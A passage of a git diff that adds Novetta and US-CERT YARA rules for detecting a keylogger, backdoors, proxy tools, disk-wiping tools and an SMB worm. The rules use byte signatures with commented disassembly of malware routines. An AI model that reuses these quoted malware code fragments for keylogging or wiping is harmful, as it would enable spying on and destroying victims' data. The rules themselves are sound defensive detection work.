+		 $writeFile in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+
+}
diff --git a/yara-mikesxrs/Novetta/IndiaWhiskey.yara b/yara-mikesxrs/Novetta/IndiaWhiskey.yara
new file mode 100644
index 0000000..54df371
--- /dev/null
+++ b/yara-mikesxrs/Novetta/IndiaWhiskey.yara
@@ -0,0 +1,65 @@
+import "pe"
+
+rule IndiaWhiskey
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"		
+		Source = "0c729deec341267c5a9a2271f20266ac3b0775d70436c7770ddc20605088f3b4"
+		Description = "Winsec Installer"
+		
+	strings:
+	/*
+		// Service installation code
+		FF 15 68 30 40 00  call    ds:wsprintfA
+		83 C4 18           add     esp, 18h
+		8D 85 FC FE FF FF  lea     eax, [ebp+var_104]
+		56                 push    esi
+		56                 push    esi
+		56                 push    esi
+		56                 push    esi
+		56                 push    esi
+		50                 push    eax
+		6A 01              push    1
+		// some variants have these two lines added
+		5E                 pop     esi
+		56                 push    esi
+
+		6A 02              push    2
+		68 20 01 00 00     push    120h
+		68 FF 01 0F 00     push    0F01FFh
+		FF 75 0C           push    [ebp+arg_4]
+		FF 75 08           push    [ebp+arg_0]
+		
+		// some variants have the next line as a push {reg} or push {stack var}
+		53                 push    ebx
+		//or
+		FF 75 FC           push    [ebp+var_4]
+
+		FF 15 E4 49 40 00  call    CreateServiceA
+	*/
+
+	$a = {
+			FF 15 [4] 
+			83 C4 18 
+			8D [5] 
+			5? 
+			5? 
+			5? 
+			5? 
+			5? 
+			5? 
+			6A 01
+			[0-2] 
+			6A 02 
+			68 20 01 00 00 
+			68 FF 01 0F 00 
+			FF 75 ?? 
+			FF 75 ?? 
+			(5? | FF 75 ??)
+			FF 15 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/KiloAlfa.yara b/yara-mikesxrs/Novetta/KiloAlfa.yara
new file mode 100644
index 0000000..7318a0f
--- /dev/null
+++ b/yara-mikesxrs/Novetta/KiloAlfa.yara
@@ -0,0 +1,83 @@
+import "pe"
+
+rule KiloAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		type = "Keylogger"
+		SourceForDnscalcVariant1 = "b855d05ef7ab6582864c9b35052a1073a6eb7d0c7e9d97f524ec062715d71321"
+		SourceForDnscalcVariant2 = "ddde628be8cd5db768b807510ae1319888e6c4550a5b9a0d54e17b9ec4aaa256"
+		
+	strings:
+		/*
+		push    <variable>
+		call    GetAsyncKeyState
+		cmp     ax, 8001h
+		jnz     short loc_4021EE
+		push    <variable>             ; a1
+		call    AddCharacterToKeyLogBuffer
+		add     esp, 4
+		
+		this block of code is used multiple times in sequence so i'm looking for 5 consecutive blocks
+		*/
+		$keyxlate = {
+			68 ?? 00 00 00 FF 15 [4] 66 ?? 01 80 75 ?? 6A ?? E8 [4] 83 C4 04
+			68 ?? 00 00 00 FF 15 [4] 66 ?? 01 80 75 ?? 6A ?? E8 [4] 83 C4 04
+			68 ?? 00 00 00 FF 15 [4] 66 ?? 01 80 75 ?? 6A ?? E8 [4] 83 C4 04
+			68 ?? 00 00 00 FF 15 [4] 66 ?? 01 80 75 ?? 6A ?? E8 [4] 83 C4 04
+		}
+		
+	/*
+		6A 2A                    push    2Ah
+		C6 84 24 C4 00 00 00 D6  mov     [esp+70Ch+var_648], 0D6h
+		C6 84 24 C5 00 00 00 E1  mov     [esp+70Ch+var_647], 0E1h
+		C6 84 24 C6 00 00 00 BF  mov     [esp+70Ch+var_646], 0BFh
+		C6 84 24 C7 00 00 00 C8  mov     [esp+70Ch+var_645], 0C8h
+		C6 84 24 C8 00 00 00 C3  mov     [esp+70Ch+var_644], 0C3h
+		C6 84 24 C9 00 00 00 BD  mov     [esp+70Ch+var_643], 0BDh
+		88 9C 24 CA 00 00 00     mov     [esp+70Ch+var_642], bl
+		FF 15 48 5B 40 00        call    GetAsyncKeyState
+		66 3D 01 80              cmp     ax, 8001h
+		75 20                    jnz     short loc_401696
+		8D 94 24 00 01 00 00     lea     edx, [esp+708h+pszOutput]
+		8D 84 24 C0 00 00 00     lea     eax, [esp+708h+var_648]
+		52                       push    edx             ; pszOutput
+		6A 07                    push    7               ; dwLength
+		50                       push    eax             ; pszInput
+		E8 A3 F9 FF FF           call    DNSCALCDecode
+		50                       push    eax             ; a1
+		E8 7D FB FF FF           call    AddEntryToKeylogDataBuffer
+		83 C4 10                 add     esp, 10h
+	*/
+
+	$keyxlateDnscalc1 = {	6A 2A C6 [6] D6 C6 [6] E1 C6 [6] BF C6 [6] C8 C6 [6] C3 C6 [6] BD	88 [6] FF 15 [4] 66 3D 01 80 75 ?? 	8D [6] 8D [6] 5? 6A 07 5? E8 [4] 50 E8 [4] 83 C4 10 }	
+
+	/*
+		6A 2A                          push    2Ah
+		C7 85 74 FF FF FF D6 E1 BF C8  mov     dword ptr [ebp+var_8C], 0C8BFE1D6h
+		66 C7 85 78 FF FF FF C3 BD     mov     [ebp+var_88], 0BDC3h
+		88 9D 7A FF FF FF              mov     [ebp+var_86], bl
+		FF 15 04 47 41 00              call    GetAsyncKeyState
+		BA 01 80 FF FF                 mov     edx, 0FFFF8001h
+		66 3B C2                       cmp     ax, dx
+		75 1E                          jnz     short loc_4018B0
+		8D 85 CC FE FF FF              lea     eax, [ebp+a3]
+		50                             push    eax             ; a3
+		8D 8D 74 FF FF FF              lea     ecx, [ebp+var_8C]
+		6A 07                          push    7               ; dwLength
+		51                             push    ecx             ; a1
+		E8 89 F7 FF FF                 call    DNSCalcDecode
+		50                             push    eax             ; a1
+		E8 83 F9 FF FF                 call    RecordStringToLog
+		83 C4 10                       add     esp, 10h
+	*/
+
+	$keyxlateDnscalc2 = { 6A 2A C7 [5] D6 E1 BF C8 	66 [6] C3 BD 88 [5]	FF 15 [4] BA 01 80 FF FF 66 3B C2 75 ?? 8D [5] 5? 8D [5] 6A 07 5? E8 [4] 50 E8 [4] 83 C4 10 }
+	
+	condition: 
+		$keyxlate in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $keyxlateDnscalc1 in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $keyxlateDnscalc2 in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+	
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/LimaAlfa.yara b/yara-mikesxrs/Novetta/LimaAlfa.yara
new file mode 100644
index 0000000..8318491
--- /dev/null
+++ b/yara-mikesxrs/Novetta/LimaAlfa.yara
@@ -0,0 +1,40 @@
+import "pe"
+
+rule LimaAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "c9fbad7fc7ff7688776056be3a41714a1f91458a7b16c37c3c906d17daac2c8b"
+		Status = "Signature is too loose to be useful."
+
+	strings:
+	/*
+		33 C0              xor     eax, eax
+		66 8B 02           mov     ax, [edx]
+		8B E8              mov     ebp, eax
+		81 E5 00 F0 FF FF  and     ebp, 0FFFFF000h
+		81 FD 00 30 00 00  cmp     ebp, 3000h
+		75 0D              jnz     short loc_4019FB
+		8B 6C 24 18        mov     ebp, [esp+10h+arg_4]
+		25 FF 0F 00 00     and     eax, 0FFFh
+		03 C7              add     eax, edi
+		01 28              add     [eax], ebp
+	*/
+
+	$a = {
+			33 C0 
+			66 [2] 
+			8B ?? 
+			81 ?? 00 F0 FF FF 
+			81 ?? 00 30 00 00 
+			75 ?? 
+			8B [3] 
+			25 FF 0F 00 00 
+			03 C7 
+			01 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/LimaBravo.yara b/yara-mikesxrs/Novetta/LimaBravo.yara
new file mode 100644
index 0000000..97607e3
--- /dev/null
+++ b/yara-mikesxrs/Novetta/LimaBravo.yara
@@ -0,0 +1,34 @@
+rule LimaBravo
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "Mwsagent.dll"
+
+	strings:
+	/*
+		83 C4 34        add     esp, 34h
+		83 FD 0A        cmp     ebp, 0Ah
+		5D              pop     ebp
+		5B              pop     ebx
+		7E 12           jle     short loc_1000106F
+		57              push    edi             ; Src
+		C6 07 4D        mov     byte ptr [edi], 4Dh
+		C6 47 01 5A     mov     byte ptr [edi+1], 5Ah
+		E8 97 01 00 00  call    ManualImageLoad
+	*/
+
+	$a = {
+			83 ?? 34 
+			83 ?? 0A 
+			[0-2] 
+			7E ?? 
+			5? 
+			C6 ?? 4D 
+			C6 [2] 5A 
+			E8 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/LimaCharlie.yara b/yara-mikesxrs/Novetta/LimaCharlie.yara
new file mode 100644
index 0000000..cb28860
--- /dev/null
+++ b/yara-mikesxrs/Novetta/LimaCharlie.yara
@@ -0,0 +1,65 @@
+import "pe"
+
+rule LimaCharlie
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source_x86 = "6ee6ae79ee1502a11ece81e971a54f189a271be9ec700101a2bd7a21198b94c7"
+		Source_x64 = "90ace24eb132c776a6d5bb0451437db21e84601495a2165d75f520af637e71e8"
+
+	strings:
+		$misspelling = "Defualt Sleep = %d" wide
+
+	/*
+		FF 76 74           push    dword ptr [esi+74h]
+		59                 pop     ecx
+		50                 push    eax
+		8F 86 48 01 00 00  pop     dword ptr [esi+148h]
+		85 C0              test    eax, eax
+		51                 push    ecx
+		8F 86 44 01 00 00  pop     dword ptr [esi+144h]
+		75 3D              jnz     short loc_100035F3
+		F6 46 56 01        test    byte ptr [esi+56h], 1
+		74 0A              jz      short loc_100035C6
+	*/
+
+	$x86 = {
+			FF ?? 74 
+			5? 
+			5? 
+			8F ?? 48 01 00 00 
+			85 C0 
+			5? 
+			8F ?? 44 01 00 00 
+			75 ?? 
+			F6 [2] 01 
+			74 
+		}
+
+	/*
+		48 8B 4B 70           mov     rcx, [rbx+70h]
+		48 89 8B 60 01 00 00  mov     [rbx+160h], rcx
+		48 89 83 68 01 00 00  mov     [rbx+168h], rax
+		48 85 C0              test    rax, rax
+		75 35                 jnz     short loc_180002372
+		F6 43 56 01           test    byte ptr [rbx+56h], 1
+		74 07                 jz      short loc_18000234A
+	*/
+
+	$x64 = {
+			48 [2] 70 
+			48 [2] 60 01 00 00 
+			48 [2] 68 01 00 00 
+			48 85 C0 
+			75 ?? 
+			F6 [2] 01 
+			74 
+		}
+		
+	condition:
+		$x86 in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $x64 in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $misspelling
+		
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/LimaDelta.yara b/yara-mikesxrs/Novetta/LimaDelta.yara
new file mode 100644
index 0000000..aab4adc
--- /dev/null
+++ b/yara-mikesxrs/Novetta/LimaDelta.yara
@@ -0,0 +1,72 @@
+import "pe"
+
+rule LimaDelta
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "81e6118a6d8bf8994ce93f940059217481bfd15f2757c48c589983a6af54cfcc"
+
+	strings:
+	/*
+		8B 69 FC           mov     ebp, [ecx-4]
+		83 C1 10           add     ecx, 10h
+		81 F5 6D 3A 71 58  xor     ebp, 58713A6Dh
+		89 2A              mov     [edx], ebp
+		33 ED              xor     ebp, ebp
+		66 8B 69 F0        mov     bp, [ecx-10h]
+		89 6A 04           mov     [edx+4], ebp
+		83 C2 08           add     edx, 8
+		4F                 dec     edi
+		75 E3              jnz     short loc_4026CE
+	*/
+
+	$fileDecoder = {
+			8B ?? ?? 
+			83 ?? 10 
+			81 ?? 6D 3A 71 58 
+			89 ?? 
+			33 ?? 
+			66 ?? ?? F0 
+			89 ?? 04 
+			83 ?? 08 
+			4? 
+			75 
+		}
+		
+	/*
+		66 81 BC 24 A0 00 00 00 BB 01  cmp     [esp+98h+arg_4], 1BBh
+		74 21                          jz      short loc_401BD7
+		FF 15 58 30 40 00              call    ds:rand
+		99                             cdq
+		B9 32 00 00 00                 mov     ecx, 32h
+		F7 F9                          idiv    ecx
+		8B DA                          mov     ebx, edx
+		8D 54 24 5E                    lea     edx, [esp+98h+var_3A]
+		53                             push    ebx             ; dwSize
+		52                             push    edx             ; pvBuffer
+		E8 3F FB FF FF                 call    GenerateRandomBuffer
+		83 C4 08                       add     esp, 8
+		83 C3 46                       add     ebx, 46h
+	*/
+
+	$authenicateBufferGen = {
+			BB 01 
+			74 ??
+			FF 15 [4]
+			99 
+			B? 32 00 00 00 
+			F7 ?? 
+			8B ?? 
+			8D [3]
+			5? 
+			5? 
+			E8 [4]
+			83 C4 08 
+			83 ?? 46 
+		}
+	
+	condition:
+		$authenicateBufferGen in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $fileDecoder in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/Novetta_index.yara b/yara-mikesxrs/Novetta/Novetta_index.yara
new file mode 100644
index 0000000..9677ab5
--- /dev/null
+++ b/yara-mikesxrs/Novetta/Novetta_index.yara
@@ -0,0 +1,3068 @@
+// From CERT report https://www.us-cert.gov/ncas/alerts/TA14-353A
+rule SMB_Worm_Tool
+{
+	
+	strings:	
+		$STR1 = "Global\\FwtSqmSession106829323_S-1-5-19"
+		$STR2 = "EVERYONE"
+		$STR3 = "y0uar3@s!llyid!07,ou74n60u7f001"
+		$STR4 = "\\KB25468.dat" 
+	
+	condition:
+		( uint16(0) == 0x5A4D or 
+		  uint16(0) == 0xCFD0 or 
+		  uint16(0) == 0xC3D4 or 
+		  uint32(0) == 0x46445025 or 
+		  uint32(1) == 0x6674725C) 
+		and all of them
+}
+
+rule Lightweight_Backdoor1
+{
+
+	strings:
+		$STR1 = "NetMgStart"
+		$STR2 = "Netmgmt.srg"
+		
+	condition:
+		(uint16(0) == 0x5A4D) and all of them
+}
+rule LightweightBackdoor2
+{
+	strings:
+		$STR1 = "prxTroy" ascii wide nocase
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+rule LightweightBackdoor3
+{
+	
+	strings:
+		$strl  = { C6 45 E8 64 C6 45 E9 61 C6 45 EA 79 C6 45 EB 69 C6 45 EC 70 C6 45 ED 6D C6 45 EE 72 C6 45 EF 2E C6 45 F0 74 C6 45 F1  62 C6 45 F2 6C } // 'dayipmr.tbl' being moved to ebp
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+rule LightweightBackdoor4
+{
+	strings:	
+		$strl  = { C6 45 F4 61 C6 45 F5 6E C6 45 F6 73 C6 45 F7 69 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73 } // 'ansi.nls' being moved to ebp
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+ 
+
+rule LightweightBackdoor5
+{
+	strings:
+		$strl  = { C6 45 F4 74 C6 45 F5 6C C6 45 F6 76 C6 45 F7 63 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73 } // 'tlvc.nls' being moved to ebp
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+ rule LightweightBackdoor6
+{
+	strings:
+		$STR1 = { 8A 10 80 ?? 4E 80 ?? 79 88 10}
+		$STR2 = { 8A 10 80?? 79 80 ?? 4E 88 10}
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+ 
+
+rule ProxyTool1
+{
+	strings:
+		$STR1 = "pmsconfig.msi" wide
+		$STR2 = "pmslog.msi" wide
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them
+}
+rule ProxyTool2
+{
+strings:
+	$STR1 = { 82 F4 DE D4 D3 C2 CA F5 C8 C8 D3 82 FB F4 DE D4 D3 C2 CA 94 95 FB D4 D1 C4 CF C8 D4 D3 89 C2 DF C2 87 8A CC 87 00 } // '%SystemRoot%\System32\svchost.exe -k' xor A7
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+ 
+
+rule ProxyTool3
+{
+	strings:
+		$STR2 = {8A 04 17 8B FB 34 A7 46 88 02 83 C9 FF}
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and $STR2
+}
+ 
+rule DestructiveHardDriveTool1
+{
+	strings:
+		$str0= "MZ"
+		$str1 = {c6 84 24 ?? ( 00 | 01 ) 00 00 }
+		$xorInLoop = { 83 EC 20 B9 08 00 00 00 33 D2 56 8B 74 24 30 57 8D 7C 24 08 F3 A5 8B 7C 24 30 85 FF 7E 3A 8B 74 24 2C 8A 44 24 08 53 8A 4C 24 21 8A 5C 24 2B 32 C1 8A 0C 32 32 C3 32 C8 88 0C 32 B9 1E 00 00 00 8A 5C 0C 0C 88 5C 0C 0D 49 83 F9 FF 7F F2 42 88 44 24 0C 3B D7 7C D0 5B 5F 5E 83 C4 20 C3 }
+	
+	condition:
+		$str0 at 0 and $xorInLoop and #str1 > 300
+}
+
+/*
+rule DestructiveTargetCleaningTool1
+{
+	strings:
+		$s1  = {d3000000 [4] 2c000000 [12] 95000000 [4] 6a000000 [8] 07000000}
+	
+	condition:
+		(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+}
+*/
+
+/*
+rule DestructiveTargetCleaningTool2
+{
+	strings:
+		$secureWipe = { 83 EC 34 53 55 8B 6C 24 40 56 57 83 CE FF 55 C7 44 24 2C D3 00 00 00 C7 44 24 30 2C 00 00 00 89 74 24 34 89 74 24 
+								    38 C7 44 24 3C 95 00 00 00 C7 44 24 40 6A 00 00 00 89 74 24 44 C7 44 24 14 07 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 89 
+								    44 24 1C 0F 84 (D8 | d9) 01 00 00 33 FF 68 00 00 01 00 57 FF 15 ?? ?? ?? ?? 8B D8 3B DF 89 5C 24 14 0F 84 (BC | BD) 
+									  01 00 00 8B 44 24 1C A8 01 74 0A 24 FE 50 55 FF 15 ?? ?? ?? ?? 8B 44 24 4C 2B C7 74 20 48 74 0F 83 E8 02 75 1C C7 
+									  44 24 10 03 00 00 00 EB 12 C7 44 24 10 01 00 00 00 89 74 24 28 EB 04 89 7C 24 10 8B 44 24 10 89 7C 24 1C 3B C7 0F 
+									  8E ( 5C | 5d ) 01 00 00 8D 44 24 28 89 44 24 4C EB 03 83 CE FF 8B 4C 24 4C 8B 01 3B C6 74 17 8A D0 B9 00 40 00 00 
+									  8A F2 8B FB 8B C2 C1 E0 10 66 8B C2 F3 AB EB ( 13 | 14) 33 F6 (E8 | ff 15) ?? ?? ?? ?? 88 04 1E 46 81 FE 00 00 01 
+									  00 7C ( EF | ee) 6A 00 6A 00 6A 03 6A 00 6A 03 68 00 00 00 C0 55 FF 15 ?? ?? ?? ?? 8B F0 83 FE FF 0F 84 FA 00 00 00 
+									  8D 44 24 20 50 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 6A 02 6A 00 6A FF 56 FF D5 8D 4C 24 18 6A 00 51 6A 01 53 56 
+			 					    FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A 00 6A 00 6A 00 56 FF D5 8B 44 24 24 8B 54 24 20 33 FF 33 DB 85 C0 7C 5A 
+									  7F 0A 85 D2 76 54 EB 04 8B 54 24 20 8B CA BD 00 00 01 00 2B CF 1B C3 85 C0 7F 0A 7C 04 3B CD 73 04 2B D7 8B EA 8B 
+									  44 24 14 8D 54 24 18 6A 00 52 55 50 56 FF 15 ?? ?? ?? ?? 8B 6C 24 18 8B 44 24 24 03 FD 83 D3 00 3B D8 7C BE 7F 08 
+									  8B 54 24 20 3B FA 72 B8 8B 2D ?? ?? ?? ?? 8B 5C 24 10 8B 7C 24 1C 8D 4B FF 3B F9 75 17 56 FF 15 ?? ?? ?? ?? 6A 00 
+									  6A 00 6A 00 56 FF D5 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 4C 24 4C 8B 6C 24 48 47 83 
+									  C1 04 3B FB 8B 5C 24 14 89 7C 24 1C 89 4C 24 4C 0F 8C ( AE | AD) FE FF FF 6A 00 55 E8 ?? ?? ?? ?? 83 C4 08 53 FF 
+									  15 ?? ?? ?? ?? 5F 5E 5D 5B 83 C4 34 C3 }
+	
+	condition:
+		$secureWipe
+}
+*/
+
+rule DestructiveTargetCleaningTool3
+{
+	
+	strings:
+		$S1_CMD_Arg = "/install" fullword
+		$S2_CMD_Parse= "\"%s\"  /install \"%s\"" fullword
+		$S3_CMD_Builder= "\"%s\"  \"%s\" \"%s\" %s" fullword
+	
+	condition:
+		all of them
+}
+ 
+
+rule DestructiveTargetCleaningTool4
+{
+
+	strings:
+		$BATCH_SCRIPT_LN1_0 = "goto x" fullword
+		$BATCH_SCRIPT_LN1_1 = "del" fullword
+		$BATCH_SCRIPT_LN2_0 = "if exist" fullword
+		$BATCH_SCRIPT_LN3_0 = ":x" fullword
+		$BATCH_SCRIPT_LN4_0 = "zz%d.bat" fullword
+	
+	condition:
+		(#BATCH_SCRIPT_LN1_1 == 2) and all of them
+}
+rule DestructiveTargetCleaningTool5
+{
+	strings:
+		$MCU_DLL_ZLIB_COMPRESSED2 = { 5C EC AB AE 81 3C C9 BC D5 A5 42 F4 54 91 04 28 34 34 79 80 6F 71 D5 52 1E 2A 0D }
+	
+	condition:
+		$MCU_DLL_ZLIB_COMPRESSED2
+}
+ 
+
+rule DestructiveTargetCleaningTool6
+{
+	strings:
+		$MCU_INF_StartHexDec = {010346080A30D63633000B6263750A5052322A00103D1B570A30E67F2A00130952690A503A0D2A000E00A26E15104556766572636C7669642E657865}
+		$MCU_INF_StartHexEnc = {6C3272386958BF075230780A0A54676166024968790C7A6779588F5E47312739310163615B3D59686721CF5F2120263E1F5413531F1E004543544C55}
+	
+	condition:
+		$MCU_INF_StartHexEnc or $MCU_INF_StartHexDec
+}
+ 
+
+rule DestructiveTargetCleaningTool7
+{
+	strings:
+		$a = "SetFilePointer"
+		$b = "SetEndOfFile"
+		$c = {75 17 56 ff 15 ?? ?? ?? ?? 6a 00 6a 00 6a 00 56 ff D5 56 ff 15 ?? ?? ?? ?? 56}
+	
+	condition:
+		(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+}
+ 
+rule DestructiveTargetCleaningTool8
+{
+	strings:
+		$license = {E903FFFF820050006F007200740069006F006E007300200063006F007000790072006900670068007400200052006F006200650072007400200064006500200042006100740068002C0020004A006F007200690073002000760061006E002000520061006E007400770069006A006B002C002000440065006C00690061006E000000000000000250000000000A002200CE000800EA03FFFF8200}
+		$PuTTY= {50007500540054005900}
+	
+	condition:
+		(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $license and not $PuTTY
+}
+
+rule Malwareusedbycyberthreatactor1
+{
+	strings:
+		// vvv---- this sig hits on a legit CRT function it seems. 
+		$heapCreateFunction_0 = {33C06A003944240868001000000F94C050FF15????????85C0A3???????07436E893FEFFFF83F803A3???????0750D68F8030000E8??00000059EB0A83F8027518E8????000085C0750FFF35???????0FF15???????033C0C36A0158C3}
+		
+		$heapCreateFunction = { 55 8B EC B8 2C 12 00 00 E8 ?? ?? FF FF 8D 85 68 FF FF FF 53 50 C7 85 68 FF FF FF 94 00 00 00 FF 1? ?? ?? ?? ?0 85 C0 74 1A 83 BD 78 FF FF FF 02 75 11 83 BD 6C FF FF FF 05 72 08 6A 01 58 E9 02 01 00 00 8D 85 D4 ED FF F6 89 01 00 00 05 06 8? ?? ?? ?? 0F F1 5? ?? ?? ?? 08 5C 00 F8 4D 00 00 00 03 3D B8 D8 DD 4E DF FF F3 89 DD DF FF F7 41 38 A0 13 C6 17 C0 83 C7 A7 F0 42 C2 08 80 14 13 81 97 5E D8 D8 5D 4E DF FF F6 A1 65 06 8? ?? ?? ?? 0E 8? ?? ?0 00 08 3C 40 C8 5C 07 50 88 D8 5D 4E DF FF FE B4 98 D8 56 4F EF FF F6 80 40 10 00 05 05 3F F1 5? ?? ?? ?? 03 89 D6 4F EF FF F8 D8 D6 4F EF FF F7 41 38 A0 13 C6 17 C0 83 C7 A7 F0 42 C2 08 80 14 13 81 97 5E D8 D8 56 4F EF FF F5 08 D8 5D 4E DF FF F5 0E 8? ?? ?? ?? ?5 95 93 BC 37 43 E6 A2 C5 0E 8? ?? ?? ?? ?5 93 BC 35 97 43 04 08 BC 83 81 87 40 E8 03 93 B7 50 48 81 9E B0 14 13 81 97 5F 26 A0 A5 35 0E 8? ?? ?0 00 08 3C 40 C8 3F 80 27 41 D8 3F 80 37 41 88 3F 80 17 41 38 D4 5F C5 0E 89 8F EF FF F8 07 DF C0 65 91 BC 08 3C 00 35 BC 9C}
+		
+  	// vvv---- this sig hits on a legit CRT function it seems. 
+		$getMajorMinorLinker = {568B7424086A00832600FF15???????06681384D5A75148B483C85C9740D03C18A481A880E8A401B8846015EC3}
+
+		$openServiceManager = {FF15???0?0?08B?885??74????????????????5?FF15???0?0?08B?????0?0?08BF?85F?74}
+	
+	condition:
+	
+		all of them
+}
+
+rule Malwareusedbycyberthreatactor2
+{
+	strings:
+		$str1 = "_quit"
+		$str2 = "_exe"
+		$str3 = "_put"
+		$str4 = "_got"
+		$str5 = "_get"
+		$str6 ="_del"
+		$str7 = "_dir"
+		$str8 = { C7 44 24 18 1F F7}
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0  or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+ 
+rule Malwareusedbycyberthreatactor3
+{
+	strings:
+		$STR1 = { 50 68 80 00 00 00 68 FF FF 00 00 51 C7 44 24 1C 3a 8b 00 00 }
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+import "pe"
+
+rule DeltaCharlie
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$rsaKey = {7B 4E 1E A7 E9 3F 36 4C DE F4 F0 99 C4 D9 B7 94 
+		           A1 FF F2 97 D3 91 13 9D C0 12 02 E4 4C BB 6C 77 
+		           48 EE 6F 4B 9B 53 60 98 45 A5 28 65 8A 0B F8 39 
+		           73 D7 1A 44 13 B3 6A BB 61 44 AF 31 47 E7 87 C2 
+		           AE 7A A7 2C 3A D9 5C 2E 42 1A A6 78 FE 2C AD ED 
+		           39 3F FA D0 AD 3D D9 C5 3D 28 EF 3D 67 B1 E0 68 
+		           3F 58 A0 19 27 CC 27 C9 E8 D8 1E 7E EE 91 DD 13 
+		           B3 47 EF 57 1A CA FF 9A 60 E0 64 08 AA E2 92 D0}
+		           
+	condition:
+		any of them
+}
+
+rule Derusbi_Server
+{
+	meta:
+		Author = "Novetta"
+		Reference = "http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf"
+
+	strings:
+		$uuid = "{93144EB0-8E3E-4591-B307-8EEBFE7DB28F}" wide ascii
+		$infectionID1 = "-%s-%03d"
+		$infectionID2 = "-%03d"
